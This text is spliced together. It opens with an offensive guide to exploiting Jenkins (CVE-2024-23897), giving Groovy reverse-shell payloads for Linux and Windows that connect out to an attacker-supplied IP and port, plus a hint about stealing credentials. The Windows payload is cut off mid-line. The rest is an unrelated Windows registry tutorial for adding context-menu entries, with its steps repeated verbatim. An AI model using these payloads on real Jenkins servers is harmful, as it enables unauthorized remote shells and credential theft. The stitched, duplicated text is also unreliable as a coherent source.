Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Many times, we may require to open a file using a particular program directly from the right-click context menu.
For a quick example if we want to add Notepad in the context menu,
Process to add Open in Notepad to the context menu is detailed below :
Navigate to HKEY_CLASSES_ROOT\*\shell.
Create a new key under the Shell key. Right-click Shell and select New > Key.
Set the key name to Open In Notepad. This name is your desired text to be shown in the context menu.
Create a new key under the Open In Notepad key. Right-click Open In Notepad and select New > Key.
Set the key name to command. This setting of key is optional though.
Select the (Default) value in the command key and select Modify.
Enter notepad.exe %1 in the Value data field and click OK.
Navigate to HKEY_CLASSES_ROOT\*\shell.
Create a new key under the Shell key. Right-click Shell and select New > Key.
Set the key name to Open In Notepad. This name is your desired text to be shown in the context menu.
Create a new key under the Open In Notepad key. Right-click Open In Notepad and select New > Key.
Set the key name to command. This setting of key is optional though.
Select the (Default) value in the command key and select Modify.
Enter notepad.exe %1 in the Value data field and click OK.
Another example, if you want to see the command prompt in the context menu,
instead of notepad.exe , you can set cmd.exe.
Now right click on any file and you should see and option. In this example, "Open in CMD".
Additionally, if you want to open a folder in CMD through the context menu,
Hold the Shift key down while right-clicking. You should see an option "Open Command Window Here" appear.